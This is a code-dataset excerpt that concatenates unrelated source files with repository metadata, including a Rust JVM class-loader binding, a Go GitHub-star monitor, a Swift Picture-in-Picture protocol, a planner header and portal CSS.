let inst_ref = env.state.gc.alloc(inst);
unsafe { env.get_local_jobject_for(inst_ref.into_generic()) }
}
pub(crate) extern "C" fn system_class_loader_get_system_resouce_as_stream(
env: *mut Env<'_>,
_: JClass,
resource_name: JString,
) -> JObject {
assert!(!env.is_null(), "Env was null. Internal bug?");
let env = unsafe { &mut *env };
let resource_name = unsafe { env.get_jobject_as_gcref(resource_name) };
let resource_name = resource_name.expect("null pointer exception");
let resource_name = get_string_contents_as_rust_string(
&env.class_files,
&mut env.class_names,
&mut env.state,
resource_name,
)
.unwrap();
let resource = env
.class_files
.loader
.load_resource(&resource_name)
.unwrap();
match resource {
Buffer(data) => {
let bai = construct_byte_array_input_stream(env, &data).unwrap();
if let Some(bai) = env.state.extract_value(bai) {
unsafe { env.get_local_jobject_for(bai.into_generic()) }
} else {
// Exception
JObject::null()
}
}
}
}
pub(crate) extern "C" fn system_class_loader_get_resources(
env: *mut Env<'_>,
_: JObject,
name: JString,
) -> JObject {
assert!(!env.is_null(), "Env was null. Internal bug?");
let env = unsafe { &mut *env };
let name = unsafe { env.get_jobject_as_gcref(name) };
let resource_name_ref = if let Some(name) = name {
name
} else {
todo!("NPE")
};
let resource_name = get_string_contents_as_rust_string(
&env.class_files,
&mut env.class_names,
&mut env.state,
resource_name_ref,
)
.unwrap();
// TODO: Resources with the same name?
if env.class_files.loader.has_resource(&resource_name) {
let single_enumeration_id = env
.class_names
.gcid_from_bytes(b"rho/util/SingleEnumeration");
let static_ref = initialize_class(env, single_enumeration_id)
.unwrap()
.into_value();
if let Some(static_ref) = env.state.extract_value(static_ref) {
let fields = match make_fields(env, single_enumeration_id, |field_info| {
field_info.access_flags.contains(FieldAccessFlags::STATIC)
})
.unwrap()
{
Either::Left(fields) => fields,
Either::Right(exc) => {
panic!("Exception");
}
};
let instance = ClassInstance::new(single_enumeration_id, static_ref, fields);
let instance_ref = env.state.gc.alloc(instance);
let descriptor = MethodDescriptor::new(
smallvec::smallvec![DescriptorType::Basic(DescriptorTypeBasic::Class(
env.class_names.object_id()
))],
None,
);
let method_id = env
.methods
.load_method_from_desc(
&mut env.class_names,
&mut env.class_files,
single_enumeration_id,
b"<init>",
&descriptor,
)
.unwrap();
let frame = Frame::new_locals(Locals::new_with_array([
RuntimeValue::Reference(instance_ref.into_generic()),
RuntimeValue::Reference(resource_name_ref.unchecked_as()),
]));
match eval_method(env, method_id.into(), frame).unwrap() {
EvalMethodValue::ReturnVoid | EvalMethodValue::Return(_) => unsafe {
env.get_local_jobject_for(instance_ref.into_generic())
},
EvalMethodValue::Exception(exc) => {
env.state.fill_native_exception(exc);
JObject::null()
}
}
} else {
JObject::null()
}
} else {
let empty_enumeration_id = env
.class_names
.gcid_from_bytes(b"rho/util/EmptyEnumeration");
let static_ref = initialize_class(env, empty_enumeration_id)
.unwrap()
.into_value();
if let Some(static_ref) = env.state.extract_value(static_ref) {
let instance = ClassInstance::new(empty_enumeration_id, static_ref, Fields::default());
let instance_ref = env.state.gc.alloc(instance);
unsafe { env.get_local_jobject_for(instance_ref.into_generic()) }
} else {
JObject::null()
}
}
}
| 33.805405 | 99 | 0.582667 |
92ddaee39ff4be23969f40d5aa49a30ef3e61ebc | 691 | h | C | mwc/romana/relic/a/usr/man/COHERENT/stddef.h | gspu/Coherent | 299bea1bb52a4dcc42a06eabd5b476fce77013ef | [
"BSD-3-Clause"
] | 20 | 2019-10-10T14:14:56.000Z | 2022-02-24T02:54:38.000Z | mwc/romana/relic/a/usr/man/COHERENT/stddef.h | gspu/Coherent | 299bea1bb52a4dcc42a06eabd5b476fce77013ef | [
"BSD-3-Clause"
] | null | null | null | mwc/romana/relic/a/usr/man/COHERENT/stddef.h | gspu/Coherent | 299bea1bb52a4dcc42a06eabd5b476fce77013ef | [
"BSD-3-Clause"
] | 1 | 2022-03-25T18:38:37.000Z | 2022-03-25T18:38:37.000Z |
stddef.h Header File stddef.h
Header for standard definitions
#include <stddef.h>
stddef.h defines three types and two macros that are used through
the library. They are as follows:
NNUULLLL Null pointer
ooffffsseettooff()Offset of a field within a structure
ppttrrddiiffff_ttNumeric difference between two pointers
ssiizzee_tt Type returned by ssiizzeeooff operator
wwcchhaarr_tt Typedef for wide cchhaarrs
***** See Also *****
header files
COHERENT Lexicon Page 1
| 10.313433 | 73 | 0.552822 |
dd7342cc1aa559f9fba5df282f5aceae1a912a23 | 293 | php | PHP | app/Transactions.php | brucealbuquerque/recyclegram | 48c287078397e59e5271774193d45cb23fb28f2d | [
"MIT"
] | null | null | null | app/Transactions.php | brucealbuquerque/recyclegram | 48c287078397e59e5271774193d45cb23fb28f2d | [
"MIT"
] | null | null | null | app/Transactions.php | brucealbuquerque/recyclegram | 48c287078397e59e5271774193d45cb23fb28f2d | [
"MIT"
] | null | null | null | <?php
namespace recyclegram;
use Illuminate\Database\Eloquent\Model;
class Transactions extends Model
{
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'created_at', 'idUser', 'idResidues',
'dtEnding', 'qtdTotal',
];
}
| 15.421053 | 45 | 0.638225 |
4172142ce55c3de81346a53c16ba02c880b6d15e | 494 | kt | Kotlin | src/test/kotlin/io/openapiprocessor/core/support/TestParameterAnnotationWriter.kt | Tucos/openapi-processor-core | c810c7b03c5f6fab590065f95f72dae5ce1eb7fe | [
"Apache-2.0"
] | 6 | 2020-09-16T13:12:22.000Z | 2022-02-05T08:17:25.000Z | src/test/kotlin/io/openapiprocessor/core/support/TestParameterAnnotationWriter.kt | Tucos/openapi-processor-core | c810c7b03c5f6fab590065f95f72dae5ce1eb7fe | [
"Apache-2.0"
] | 66 | 2020-06-13T16:56:07.000Z | 2022-03-25T07:51:47.000Z | src/test/kotlin/io/openapiprocessor/core/support/TestParameterAnnotationWriter.kt | hauner/openapi-processor-core | de1f30c5926b699bdc9e22ec99eb47218c0c3dfe | [
"Apache-2.0"
] | 4 | 2020-09-16T13:12:27.000Z | 2021-06-18T20:25:54.000Z | /*
* Copyright © 2019 https://github.com/openapi-processor/openapi-processor-core
* PDX-License-Identifier: Apache-2.0
*/
package io.openapiprocessor.core.support
import io.openapiprocessor.core.model.parameters.Parameter
import io.openapiprocessor.core.writer.java.ParameterAnnotationWriter
import java.io.Writer
class TestParameterAnnotationWriter: ParameterAnnotationWriter {
override fun write(target: Writer, parameter: Parameter) {
target.write ("@Parameter")
}
}
| 26 | 79 | 0.779352 |
50d0c27ebe0e777bd0e2fda0343f4db766696898 | 909 | go | Go | stargazers.go | kevwan/stargazers | 443be7038e09258b9ae21c61544b8b7f3bd1cca6 | [
"MIT"
] | 10 | 2020-12-26T14:40:17.000Z | 2021-12-25T02:00:01.000Z | stargazers.go | kevwan/stargazers | 443be7038e09258b9ae21c61544b8b7f3bd1cca6 | [
"MIT"
] | 2 | 2021-11-30T14:14:32.000Z | 2021-11-30T15:53:11.000Z | stargazers.go | kevwan/stargazers | 443be7038e09258b9ae21c61544b8b7f3bd1cca6 | [
"MIT"
] | 3 | 2020-12-29T07:49:41.000Z | 2021-12-25T02:00:03.000Z | package main
import (
"flag"
"log"
"time"
"stargazers/feishu"
"stargazers/gh"
"github.com/tal-tech/go-zero/core/conf"
)
var configFile = flag.String("f", "config.yaml", "the config file")
type (
Feishu struct {
AppId string `json:"appId"`
AppSecret string `json:"appSecret"`
Receiver string `json:"receiver,optional"`
ReceiverEmail string `json:"receiver_email,optional=!receiver"`
}
Config struct {
Token string `json:"token"`
Repo string `json:"repo"`
Interval time.Duration `json:"interval,default=1m"`
Feishu Feishu `json:"feishu"`
}
)
func main() {
flag.Parse()
var c Config
conf.MustLoad(*configFile, &c)
mon := gh.NewMonitor(c.Repo, c.Token, c.Interval, func(text string) error {
return feishu.Send(c.Feishu.AppId, c.Feishu.AppSecret, c.Feishu.Receiver, c.Feishu.ReceiverEmail, text)
})
log.Fatal(mon.Start())
}
| 21.139535 | 105 | 0.660066 |
de5ec926e540e9b612aabac579d339b60d326c1b | 236 | kt | Kotlin | app/src/main/java/com/alwan/googlebooksapp/data/BookDataSource.kt | alwanfauzy/google-books-app | dc69c50be0bc5ed1b05d675f07ba8e26e2e31d32 | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/alwan/googlebooksapp/data/BookDataSource.kt | alwanfauzy/google-books-app | dc69c50be0bc5ed1b05d675f07ba8e26e2e31d32 | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/alwan/googlebooksapp/data/BookDataSource.kt | alwanfauzy/google-books-app | dc69c50be0bc5ed1b05d675f07ba8e26e2e31d32 | [
"Apache-2.0"
] | null | null | null | package com.alwan.googlebooksapp.data
import androidx.lifecycle.LiveData
import com.alwan.googlebooksapp.data.source.local.entity.BookEntity
interface BookDataSource {
fun getBooks(query: String): LiveData<ArrayList<BookEntity>>
} | 29.5 | 67 | 0.826271 |
62bd4fc1127fff41ad17f17e29783ba1e312deac | 5,271 | swift | Swift | Sources/Pipable/Pipable.swift | ColdGrub1384/Pipable | 657043e43cec85552590ad10cca4fd2b2bebcc86 | [
"MIT"
] | 3 | 2021-11-17T05:01:34.000Z | 2022-02-24T05:22:01.000Z | Sources/Pipable/Pipable.swift | ColdGrub1384/Pipable | 657043e43cec85552590ad10cca4fd2b2bebcc86 | [
"MIT"
] | null | null | null | Sources/Pipable/Pipable.swift | ColdGrub1384/Pipable | 657043e43cec85552590ad10cca4fd2b2bebcc86 | [
"MIT"
] | 2 | 2021-11-17T05:01:34.000Z | 2021-11-19T01:03:12.000Z | import UIKit
import AVKit
/// A protocol for implementing Picture in Picture in a`UIView`.
///
/// If a view conforms to this protocol, it is automatically compatible with Picture in Picture.
/// An instance of `AVPictureInPictureController` is automatically created for the view, which allows entering and exiting PIP. Each time the content of the view is changed, you must call `updatePictureInPictureSnapshot`.
@available(iOS 15.0, *)
public protocol Pipable where Self: UIView {
/// The delegate for the PIP events.
var pictureInPictureDelegate: PictureInPictureDelegate? { get set }
/// The size of the preview displayed in Picture in Picture.
/// You can return the size of the target view to keep the same aspect ratio, but text content may not be easily readable.
/// You can also return a different size. If you do so, the view will be resized while taking the snapshots.
var previewSize: CGSize { get }
/// Called before a snapshot is taken. Setup the view if necessary.
func willTakeSnapshot()
/// Called after taking a snapshot. Undo the changes done on `willTakeSnapshot` if necessary.
func didTakeSnapshot()
}
@available(iOS 15.0, *)
extension Pipable {
/// The Picture in Picture controller created automatically by conforming to `Pipable`. Use this object to start or exit PIP. Before entering PIP, the application must start a playback `AVAudioSession`, which requires a background mode.
public var pictureInPictureController: AVPictureInPictureController? {
setupPlayerIfNeeded()
return player?.pipController
}
/// Updates the snapshot displayed in PIP. You may want to call this method everytime the content of a `UITextView` changes for example.
/// While taking it, the view will be resized to `previewSize`.
public func updatePictureInPictureSnapshot() {
setupPlayerIfNeeded()
player?.frame.size = frame.size
(player?.layer as? AVSampleBufferDisplayLayer)?.flush()
willTakeSnapshot()
(player?.layer as? AVSampleBufferDisplayLayer)?.enqueue(getSnapshot())
didTakeSnapshot()
}
}
/// A set of method to respond to PIP events.
@available(iOS 9, *)
public protocol PictureInPictureDelegate where Self: AnyObject {
/// User entered PIP.
func didEnterPictureInPicture()
/// User exited PIP.
func didExitPictureInPicture()
/// PIP failed to start.
func didFailToEnterPictureInPicture(error: Error)
/// Called when the user presses the pause button.
func didPause()
/// Called when the user presses the resume button.
func didResume()
/// Return`true` to show the pause button and `false` to show the play button.
var isPlaying: Bool { get }
}
@available(iOS 15.0, *)
extension Pipable {
var player: PlayerView? {
subviews.first(where: { $0 is PlayerView }) as? PlayerView
}
func setupPlayerIfNeeded() {
if player == nil {
let playerView = PlayerView()
playerView.delegate = pictureInPictureDelegate
playerView.isHidden = true
playerView.pipController = AVPictureInPictureController(contentSource: .init(sampleBufferDisplayLayer: playerView.layer as! AVSampleBufferDisplayLayer, playbackDelegate: playerView))
playerView.pipController?.delegate = playerView
addSubview(playerView)
}
player?.delegate = pictureInPictureDelegate
}
func getSnapshot() -> CMSampleBuffer {
let size = frame.size
let constraints = superview?.constraints ?? []
for constraint in constraints {
superview?.removeConstraint(constraint)
}
frame.size = previewSize
let snapshot = createSampleBufferFrom(pixelBuffer: buffer(from: asImage())!)!
frame.size = size
for constraint in constraints {
superview?.addConstraint(constraint)
}
return snapshot
}
}
@available(iOS 15.0, *)
extension Pipable {
func asImage() -> UIImage {
var offset: CGPoint?
if let scrollView = self as? UIScrollView {
offset = scrollView.contentOffset
let bottomOffset = CGPoint(x: 0, y: scrollView.contentSize.height - scrollView.bounds.size.height)
if bottomOffset.y >= 0 {
scrollView.contentOffset = bottomOffset
}
}
let superview = self.superview
let index = self.subviews.firstIndex(of: self)
if window?.windowScene?.activationState == .background {
removeFromSuperview()
}
let renderer = UIGraphicsImageRenderer(bounds: bounds)
let image = renderer.image {
rendererContext in
layer.render(in: rendererContext.cgContext)
}
if offset != nil {
(self as? UIScrollView)?.contentOffset = offset!
}
if self.superview == nil {
superview?.insertSubview(self, at: index ?? 0)
}
return image
}
}
| 33.788462 | 240 | 0.641055 |
6b5f0fefc1167de9a71e7fee906ac413f1c2f509 | 958 | h | C | Modules/planning/local_planner/include/local_planning_alg.h | 473867143/Prometheus | df1e1b0d861490223ac8b94d8cc4796537172292 | [
"BSD-3-Clause"
] | 1,217 | 2020-07-02T13:15:18.000Z | 2022-03-31T06:17:44.000Z | Modules/planning/local_planner/include/local_planning_alg.h | 473867143/Prometheus | df1e1b0d861490223ac8b94d8cc4796537172292 | [
"BSD-3-Clause"
] | 167 | 2020-07-12T15:35:43.000Z | 2022-03-31T11:57:40.000Z | Modules/planning/local_planner/include/local_planning_alg.h | 473867143/Prometheus | df1e1b0d861490223ac8b94d8cc4796537172292 | [
"BSD-3-Clause"
] | 270 | 2020-07-02T13:28:00.000Z | 2022-03-28T05:43:08.000Z | #ifndef LOCAL_PLANNING_ALG
#define LOCAL_PLANNING_ALG
#include <Eigen/Eigen>
#include <iostream>
#include <ros/ros.h>
#include <visualization_msgs/Marker.h>
#include <geometry_msgs/PoseStamped.h>
#include <std_msgs/Empty.h>
#include <sensor_msgs/PointCloud2.h>
#include <nav_msgs/Odometry.h>
#include <pcl/point_cloud.h>
#include <pcl/point_types.h>
#include <pcl_conversions/pcl_conversions.h>
using namespace std;
namespace Local_Planning{
class local_planning_alg{
public:
local_planning_alg(){}
~local_planning_alg(){}
virtual void set_odom(nav_msgs::Odometry cur_odom)=0;
virtual void set_local_map(sensor_msgs::PointCloud2ConstPtr &local_map_ptr)=0;
virtual void set_local_map_pcl(pcl::PointCloud<pcl::PointXYZ>::Ptr &pcl_ptr) = 0;
virtual int compute_force(Eigen::Vector3d &goal,Eigen::Vector3d &desired_vel)=0;
virtual void init(ros::NodeHandle& nh)=0;
typedef shared_ptr<local_planning_alg> Ptr;
};
}
#endif | 25.891892 | 85 | 0.76618 |
a47c17822757cfd2bdcd40d68cb15e67922902d6 | 2,901 | swift | Swift | Hipstapaper/Datum/Controllers/Query.swift | jeffreybergier/Hipstapaper | 7c7a38b71450017273337700513c043835bfe2c6 | [
"MIT"
] | 40 | 2016-12-21T15:42:50.000Z | 2022-03-29T16:15:45.000Z | Hipstapaper/Datum/Controllers/Query.swift | jeffreybergier/Hipstapaper | 7c7a38b71450017273337700513c043835bfe2c6 | [
"MIT"
] | 9 | 2018-07-07T06:01:27.000Z | 2021-03-20T02:55:59.000Z | Hipstapaper/Datum/Controllers/Query.swift | jeffreybergier/Hipstapaper | 7c7a38b71450017273337700513c043835bfe2c6 | [
"MIT"
] | 4 | 2019-08-17T11:02:59.000Z | 2022-03-22T18:01:44.000Z | //
// Created by Jeffrey Bergier on 2020/11/28.
//
// MIT License
//
// Copyright (c) 2021 Jeffrey Bergier
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//
import Foundation
import Umbrella
public struct Query: Hashable {
public var filter: Filter! // TODO: Hack for SwiftUI - Remove
public var tag: AnyElementObserver<AnyTag>?
public var search: String
public var sort: Sort! // TODO: Hack for SwiftUI - Remove
/// Use this initializer when the tag is selected from the UI
/// and may include the static tags provided for `Unread` and `All`.
/// This properly configures the Query in these special cases.
public init(specialTag: AnyElementObserver<AnyTag>) {
self.init()
switch specialTag {
case Query.Filter.anyTag_allCases[0]:
// Unread Items
self.filter = .unarchived
case Query.Filter.anyTag_allCases[1]:
// All Items
self.filter = .all
default:
// A user selected tag
self.tag = specialTag
self.filter = .all
}
}
public init(isArchived: Filter = .unarchived,
tag: AnyElementObserver<AnyTag>? = nil,
search: String = "",
sort: Sort = .default)
{
self.filter = isArchived
self.tag = tag
self.search = search
self.sort = sort
}
}
extension Query {
public enum Filter: Int, Identifiable, CaseIterable {
case unarchived, all
public var id: ObjectIdentifier { .init(NSNumber(value: self.rawValue)) }
public var boolValue: Bool {
get { return self == .unarchived }
set { self = .init(boolValue: newValue) }
}
public init(boolValue: Bool) {
self = boolValue ? .unarchived : .all
}
}
}
| 35.378049 | 82 | 0.647363 |
46eff0e50a287a2326e48493813e15ee539c7d6c | 19,376 | css | CSS | EventManagement.Portal/EventManagement.Portal.Web/wwwroot/portal/portal.css | atanas-georgiev/EventManagement | 552f20a3d0d4ed776a82e3015af65801df096b93 | [
"MIT"
] | null | null | null | EventManagement.Portal/EventManagement.Portal.Web/wwwroot/portal/portal.css | atanas-georgiev/EventManagement | 552f20a3d0d4ed776a82e3015af65801df096b93 | [
"MIT"
] | 1 | 2022-03-02T02:36:28.000Z | 2022-03-02T02:36:28.000Z | EventManagement.Portal/EventManagement.Portal.Web/wwwroot/portal/portal.css | atanas-georgiev/EventManagement | 552f20a3d0d4ed776a82e3015af65801df096b93 | [
"MIT"
] | 1 | 2019-10-15T02:07:07.000Z | 2019-10-15T02:07:07.000Z | @font-face {
font-family: 'roboto_condensedregular';
src: url("../kpmg/fonts/RobotoCondensed-Regular-webfont.eot");
src: url("../kpmg/fonts/RobotoCondensed-Regular-webfont.eot?#iefix") format("embedded-opentype"), url("../kpmg/fonts/RobotoCondensed-Regular-webfont.woff") format("woff"), url("../kpmg/fonts/RobotoCondensed-Regular-webfont.ttf") format("truetype"), url("../kpmg/fonts/RobotoCondensed-Regular-webfont.svg#roboto_condensedregular") format("svg");
font-weight: normal;
font-style: normal; }
html {
height: 100%; }
body {
padding-bottom: 80px;
font-family: "roboto_condensedregular";
color: #333;
background: #F2F2F2;
-ms-overflow-style: scrollbar; }
/* Used to load fallback css in microservices */
.taxray-portal-loaded {
visibility: hidden; }
.blue-lightest {
color: #c1d8ee; }
.well {
box-shadow: none;
border-radius: 0;
border: none;
background: white; }
a:hover {
text-decoration: none; }
.modal-dialog {
margin-top: 20%; }
.modal-footer {
border-top: none;
text-align: left !important; }
.modal-footer button.btn {
padding-left: 2em !important;
padding-right: 2em !important; }
.modal-content {
border-radius: 0 !important;
padding: 0 1em; }
.modal-header {
border-bottom: none; }
.panel-default {
border: none; }
.dropdown-menu {
box-shadow: none; }
.dropdown-menu > li > a {
text-align: right;
cursor: pointer; }
.dropdown-toggle {
cursor: pointer; }
.form-group {
margin-bottom: 20px; }
.form-control {
height: 34px;
padding: 5px 10px; }
.input-group {
margin-bottom: 20px; }
@media (max-width: 992px) {
.navbar-header {
float: none; }
.navbar-left, .navbar-right {
float: none !important; }
.navbar-toggle {
display: block; }
.navbar-collapse {
border-top: 1px solid transparent;
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); }
.navbar-fixed-top {
top: 0;
border-width: 0 0 1px; }
.navbar-collapse.collapse {
display: none !important; }
.navbar-nav {
float: none !important;
margin-top: 7.5px; }
.navbar-nav > li {
float: none; }
.navbar-nav > li > a {
padding-top: 10px;
padding-bottom: 10px; }
.collapse.in {
display: block !important; }
.navbar-nav .open .dropdown-menu {
position: static;
float: none;
width: auto;
margin-top: 0;
background-color: transparent;
border: 0;
-webkit-box-shadow: none;
box-shadow: none; } }
@media (max-width: 1600px) {
.fnt-huge {
font-size: 23px; } }
.brd, .brd-r, .brd-l, .brd-t, .brd-b {
border-color: #ddd;
border-style: solid;
border-width: 0; }
.brd-r {
border-right-width: 1px; }
.brd-l {
border-left-width: 1px; }
.brd-t {
border-top-width: 1px; }
.brd-b {
border-bottom-width: 1px; }
.no-brd {
border: 0px !important; }
.pd-l-30 {
padding-left: 30px; }
.m-0 {
margin: 0; }
.pd-0 {
padding: 0; }
.pd-r-30 {
padding-right: 30px; }
.pd-t-30 {
padding-top: 30px; }
.pd-b-30 {
padding-bottom: 30px; }
.pd-l-20 {
padding-left: 20px; }
.pd-r-20 {
padding-right: 20px; }
.pd-t-20 {
padding-top: 20px; }
.pd-b-20 {
padding-bottom: 20px; }
.btn, .btn-lg, .btn-sm {
border: none;
border-radius: 0; }
.btn .fa, .btn-lg .fa, .btn-sm .fa {
font-size: .9em;
padding-right: .5em; }
.btn {
font-size: 1.1em;
padding: .5em .8em;
margin-top: 10px; }
.btn-default, .btn-default:focus {
background: #666666 !important;
color: #ffffff !important; }
.btn-primary, .btn-primary:focus {
background: #00A3A1 !important; }
.btn-primary:hover {
background: #008a88 !important; }
.btn-default:hover {
background: #595959 !important;
color: #ffffff !important; }
.btn-default:active {
background: #737373 !important;
color: #ffffff !important; }
.btn-primary:active {
background: #00bdba !important; }
.btn:active, .btn:focus {
outline: 5px auto #999999 !important; }
.button-group .btn, .button-group .btn-lg, .button-group .btn-sm {
margin-right: 10px; }
.button-group.text-right .btn, .button-group.text-right .btn-lg, .button-group.text-right .btn-sm {
margin-left: 10px;
margin-right: 0; }
.popups {
z-index: 1000;
min-width: 380px; }
.popups .popup-label .fa.fa-times {
margin-left: 5px; }
.popups .popup-label .navbar-toggle {
margin: 0;
height: 40px;
margin-top: -40px;
display: block !important; }
.popups .popup-body {
background: white;
padding: 20px; }
.comment-popup {
position: fixed;
bottom: 25px;
right: 20px; }
.comment-popup .comments-past {
overflow-y: auto;
height: 50%;
border: 1px solid #f0f0f0; }
.comment-popup .comments-past .comments-container {
height: 100%; }
.comment-popup .comments-past .comments-container .popup-comment {
padding: 10px;
border-bottom: 1px solid #f0f0f0; }
.comment-popup .comments-past .comments-container .popup-comment .comment-status {
color: #00A3A1; }
.comment-popup .new-comment-container {
height: 50%; }
.files-popup {
position: fixed;
bottom: 25px;
right: 160px; }
.files-popup .scrollable {
overflow-y: auto;
border: 1px solid #f0f0f0; }
.files-popup .scrollable .inner-well {
height: 100%; }
.files-popup .well {
font-size: 12px; }
.files-popup th {
font-weight: normal; }
.files-popup td {
padding: 2px !important;
border: none !important; }
.files-popup td .fa {
margin-right: 3px; }
.navbar-taxray {
background: #1B77AF;
color: #ffffff;
border-width: 0 0 1px; }
.navbar-taxray .navbar-nav > li > a {
color: #ffffff;
padding-top: 5px;
padding-bottom: 5px; }
.navbar-logo {
background: #00338D;
height: 100%; }
.navbar-logo img {
height: 80px; }
.navbar-profile-details {
margin-top: 5px; }
.navbar-profile-details p {
margin-bottom: 0px; }
.navbar-header {
margin-top: 15px; }
.navbar-toggle {
background: #ffffff; }
.navbar {
min-height: auto; }
.navbar-nav {
margin-top: 5px; }
.navbar-nav li a {
background: none !important;
color: #ffffff !important; }
.navbar-nav li a:hover {
color: #c1d8ee !important; }
.navbar-nav li.active a {
color: #c1d8ee !important; }
.navbar-nav li:before {
content: "|";
color: #c1d8ee;
display: block !important;
float: right !important;
padding-top: 5px; }
.navbar-nav li:last-child:before {
display: none !important; }
.navbar-links a {
color: #ffffff; }
@media (max-width: 970px) {
.navbar-nav li:before {
display: none !important; } }
.timer {
background: #00338D;
border-radius: 10px;
margin: 20px 20px 15px 20px;
display: inline-block; }
.timer .stopwatch {
font-size: 1.4em;
line-height: 1.2em;
height: 40px;
padding: 8px 20px;
border-right: 1px solid #ffffff; }
.timer .info {
height: 36px;
padding: 2px 20px; }
.timer .info p {
margin: 0; }
.timer .controls {
height: 40px; }
.timer .controls ul {
padding: 10px 20px;
list-style: none; }
.timer .controls ul li {
display: inline-block;
font-size: 1.2em;
line-height: 1.2em;
padding: 0 5px; }
.timer .controls ul li span {
cursor: pointer; }
.timer .controls ul li .fa-play {
color: #43B02A; }
.timer .controls ul li .fa-circle {
color: #BC204B; }
.timer.active .stopwatch {
background: #ffffff;
border-top-left-radius: 10px;
border-bottom-left-radius: 10px;
color: #00338D; }
@media (min-width: 970px) and (max-width: 1200px) {
.timer .info {
padding: 2px 10px;
font-size: 13px; }
.timer .controls {
font-size: 10px; }
.timer {
margin: 18px 0; }
.timer .controls ul li {
font-size: 1.2em;
padding: 0 5px; }
.timer .controls ul {
padding: 12px 5px; }
.timer .stopwatch {
font-size: 1.2em;
padding: 8px 10px; } }
.subheader {
background: #ffffff;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
padding-left: 10px;
padding-right: 10px; }
.subheader .subheader-item {
float: left; }
.subheader .btn {
margin-top: 5px;
margin-bottom: 5px; }
.subheader .title {
padding-top: 5px;
padding-bottom: 5px; }
.subheader .title h2 {
font-weight: normal;
font-size: 20px;
margin: 0;
color: #1B77AF; }
.subheader p {
margin-bottom: 0;
margin-top: 0; }
.subheader .nav-prev, .subheader .nav-next {
padding: 5px 10px; }
.subheader .nav-prev p, .subheader .nav-next p {
color: #666666; }
.subheader .nav-prev .fa, .subheader .nav-next .fa {
font-size: 2em;
display: inline-block; }
.subheader .nav-prev .info, .subheader .nav-next .info {
line-height: 1em; }
.subheader .nav-prev .fa,
.subheader .nav-prev .fnt-small {
color: #00A3A1; }
.subheader .nav-next .fa,
.subheader .nav-next .fnt-small {
color: #7C2E87; }
.subheader .back {
padding: 10px; }
.subheader .back a {
margin: 10px;
border-right: 1px solid #f0f0f0; }
.subheader .back a:last-child {
border: none; }
.subheader .subheader-buttons {
margin: 5px 0; }
.status-timeline {
background: #666666; }
.status-timeline .status-item {
position: relative;
margin: 0;
padding: 0;
z-index: 1;
height: 28px;
border-right: 2px solid #ffffff; }
.status-timeline .status-item .navbar-toggle {
width: 10px;
height: 10px;
z-index: 100;
position: absolute;
right: 5px;
top: 2px; }
.status-timeline .status-item a.title {
font-size: 14px;
margin: 0;
padding: 4px 5px;
color: #ffffff;
z-index: 10;
display: block;
position: relative; }
.status-timeline .status-item a.title .fa {
line-height: 20px;
font-size: 16px; }
.status-timeline .status-item .nav {
display: none;
position: absolute;
background: #666666;
color: #ffffff; }
.status-timeline .status-item .completion-bar {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 2; }
.status-timeline .status-item .active {
background: #7C2E87; }
.status-timeline .status-item .complete {
background: #00A3A1; }
.status-timeline .status-item:hover a.title {
-moz-box-shadow: inset 0 0 50px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: inset 0 0 50px rgba(0, 0, 0, 0.3);
box-shadow: inset 0 0 50px rgba(0, 0, 0, 0.3); }
.status-timeline .status-item:last-child {
border-right: none; }
/* Medium devices (desktops, 992px and up) */
@media (min-width: 992px) {
.status-item:hover > .nav {
padding: 0;
display: block;
z-index: 8;
top: 28px;
left: 0;
width: 100%;
border-top: 2px solid #999999; }
.status-item:hover > .nav a {
color: #ffffff;
width: 100%;
padding: 5px 10px; }
.status-item:hover > .nav a .fa {
line-height: 20px; }
.status-item:hover > .nav li:hover > a {
background: #333333; }
.status-item:hover > .nav li {
position: relative; }
.status-item:hover > .nav li:hover > .nav {
width: 50%;
display: block;
left: 100%;
top: 0;
border-left: 2px solid #999999; } }
@media (max-width: 992px) {
.status-timeline .status-item {
border-right: none !important;
height: auto !important; }
.status-timeline .status-item a {
color: white; }
.status-timeline .status-item a.title {
padding: 10px 15px !important; }
.status-timeline .status-item .nav {
position: static !important;
padding: 0 !important;
background: #333 !important; }
.status-timeline .status-item .completion-bar {
height: 40px; }
.status-timeline .status-item li:hover a {
background: #333; }
.status-timeline .status-item .fa.fa-angle-down {
display: none; }
.status-timeline .status-item .navbar-toggle {
height: 26px !important;
width: 26px !important;
padding: 0px;
margin: 4px; }
.status-timeline .status-item .icon-bar {
background: #999;
width: 60%;
margin: 2px auto; }
.status-timeline .status-item .nav li {
border-bottom: 2px solid #222; }
.status-timeline .status-item .nav li:hover > a {
background: #666; }
.status-timeline .status-item .nav .nav {
display: block;
/* padding: 0 15px !important; */
background: #222 !important; }
.status-timeline .status-item .nav .nav li a {
padding-left: 35px; } }
.content {
height: 100%;
min-height: 100%;
padding-top: 80px;
padding-bottom: 25px; }
.main-content {
margin-top: 20px; }
.filters .k-dropdown {
font-size: 11px;
margin-top: 2px; }
.well-title {
padding: 5px 10px;
background: #ffffff;
color: #333333;
display: inline-block; }
.service-info .header {
border-bottom: 1px solid #f0f0f0;
padding-bottom: 5px; }
.service-info .header h2.title {
font-size: 18px;
line-height: 22px;
margin: 0; }
.service-info .header .phase-info {
line-height: 22px; }
.service-info .header .phase-info .phase {
